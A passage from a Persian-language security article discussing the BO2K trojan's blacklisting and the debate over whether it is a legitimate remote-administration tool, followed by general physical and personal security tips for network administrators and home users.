، نـام آن در فهرسـت سـیاه ابزارهـاي     1999پس از معرفی ایـن اسـب تـراوا در اواخرسـال    . توجه نمایید

ــوده جهــان قــرار گرفــت ــرروي یــک   تمــام ویــروس یــاب. مخــرب و آل ــافتن آن ب ــه محــض ی هــا ب
  .سیستم،ضمن اعلام آلوده بودن آن سیستم، آن را حذف می کنند

 BO2Kمدت ها بـه ایـن موضـوع اعتـراض مـی کـرد؛ اسـتدلال ایـن گـروه در مفیـد بـودن            cDc1گروه 
ــرم افزارهــایی ماننــد ــرم افزارهــاي تجــاري و مجــازي هســتند،و  ControlITآن بــود کــه چــرا ن کــه ن
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ــا    BO2Kمشــابهعملکــردي  ــانون تجــارت از آن ه ــد، مضــر و مخــرب شــناخته نمــی شــوند و ق دارن
بـاهمین قابلیـت هـا وحتـی بهتـر و قابـل انعطـاف تـر مخـرب و           BO2Kکـه  حمایت می کند، درحـالی 

مضر شناخته شده است و با آن مبارزه می شـود؛ درحـالی کـه هـم کـد آن آزاد و بـاز اسـت، هـم ایـن          
را در  BO2Kمــورد نظــر، Plug-inو هــرکس مــی توانــد بانوشــتن کــه درضــمن بســیار منعطــف بــوده 

  .راستاي اهداف خود توسعه دهد

ایــن . وب سـایت آنهـا تعطیـل شـد     2001بـه هرحـال اسـتدلال آن هـا بـه نتیجـه اي نرسـید و درسـال        
در لیست مخـرب تـرین بـدافزارهاي دنیـا قـرار دارد و بـه شـدت بـا آن          BO2Kدرحالی است که هنوز

گروه هاي امنیتی نیز بـراي مخـرب بـودن ایـن اسـب تـراواي ترسـناك دلایـل خـاص           .مبارزه می شود
  :خود را داشتند ازجمله

 ــه هــاي ــه نوشــته شــده اســت  BO2Kبرخــی از گزین ــر دادن در . باهــدف خرابکاران ــد تغیی مانن
 رجیستري یا استخراج کلمه عبور

      تکنیـک هـاي مبادلــه اطلاعـات بـین ســرویس دهنـدهBO2K  فقـط بــراي  ، 1و سـرویس گیرنــده
ــدیریت  ــراي م ــه ب ــد ن ــه کــارآیی دارن ــات از . حمــلات پیشــرفته و مخفیان ــثلا ارســال اطلاع م

چنـین امکانـاتی در    IDSو سیسـتم   Firewallراهی اسـت بـراي گریـز از جنـگ بـا      ICMPطریق
 .درضمن هیچ سودي هم ندارد. محصولات تجاري دیده نمی شود

ــرا  ــا تمــام ایــن تفاصــیل، برخــی از مســئولین شــبکه ب ــی ب ــه راحت ي کنتــرل ماشــین هــا از راه دور، ب
استفاده می کننـد و از آن راضـی هسـتند؛ زیـرا نصـب و پیکربنـدي بسـیار سـاده اي دارنـدو            BO2Kاز

اما با آنچه کـه تـا کنـون آمـوختیم آیـا درسـت اسـت اسـتفاده از ایـن          . کار با آن ها بسیار راحت است
  نرم افزار؟
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 :گیرينتیجه 

اما در تمام این مطالبی که بیان شـد از ابتـدا تـا کنـون، همـه یـک صـدا یـک هـدف واحـد را دنبـال             
اهدافی که در مرحله اول شاید بسـیار سـاده و تمسـخر آمیـز باشـد، امـا وقتـی کـه مطالـب          . می کردند

 ـاین مقاله را مطالعه کردیم به خصوص بخـش آخـر آن، اسـب هـاي تـراوا، متوجـه شـدیم کـه          ت رعای
برخی نکـات امنیتـی بسـیار ابتـدایی و پـیش و پـا افتـاده چقـدر از بـروز خسـارات سـنگین و جبـران             

  .ناپذیر جلوگیري میکند
در مرحله اول اگر مسئول امنیتـی یـک شـبکه هسـتید، لازم اسـت تـا تمـامی کارمنـدانتان داراي کـارت          

همچنـین ورود  . باشـند  شناسایی هایی باشند کـه بـرروي سـینه هایشـان تمـام تـایم اداري نصـب شـده        
به ساختمان سـخت افـزاري شـبکه داراي نگهبانـان قـوي باشـد کـه حتـی اگـر خودشـما نیـز کـارت             

درمرحلـه دوم قــرار دادن دسـتگاه هـاي اثــر انگشـت شــناس     . نداشـتید از ورود شـما جلــوگیري کننـد   
  .براي ورود به قسمت سخت افزاري شبکه

ــافت، ا   ــرکت مایکروس ــتباه ش ــوگیري از اش ــراي جل ــذهاي   ب ــذي و کاغ ــاي کاغ ــه ه ــداختن زبال ز ان
. کارمندان شبکه جداخود داري کنیـد و حتمـا در هـر اتـاق یـک دسـتگاه کاغـذ خـوردکن قـرار دهیـد          

از فایروال ها و آنتـی ویـروس هـاي بسـیار قـوي اسـتفاده کنیـد و همیشـه سـعی کنیـد بـا تهیـه نـرم              
ي شـبکه خـود را پیـدا و آن را    افزارهاي نفـوذ و جاسوسـی معتبـر از شـرکت هـاي معتبـر، رخنـه هـا        

  .برطرف کنید

ایـن نکتـه را بدانیـد    هـاي شخصـی اسـتفاده کنیـد و      Firewallاما اگر کاربر خـانگی هسـتید، حتمـا از    
هـیچ کـس دلـش    . تبلیغـات عجیـب و غریـب و ارزان چشـم شـما را نگیـرد      . هر ایمیلی را بـاز نکنیـد  

واقعـی حتمـا پـول بایـد پرداخـت شـود را       براي شما نسوخته است که نـرم افزارهـایی کـه در دنیـاي     
  .براي شما به صورت رایگان قرار دهد حتی آنتی ویروس ها

درصــد ایــن فــیلم و عکــس هــا آلــوده بــه 99.99دنبــال عکــس و فــیلم هــاي مســتحجن نباشــید زیــرا 
هـیچ گـاه بـه کسـی کـه در دنیـاي مجـازي نمیشناسـید اعتمـاد          . تروجان ها و اسب هـاي تـراوا اسـت   
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سـعی کنیـد نـرم افزارهـایی را کـه لازم      . ظـاهر باشخصـیت و متـدین افـراد را نخوریـد      نکنید و فریب
بـراي خریـد هـاي    . دارید از شرکت ها و وب سـایت هـاي کـاملا معتبـر دانلـود یـا خریـداري نماییـد        

  .استفاده نمایید www.bsi.ir,  www.bmi.irانترنتی از شبکه هاي بانکی معتبري مانند 
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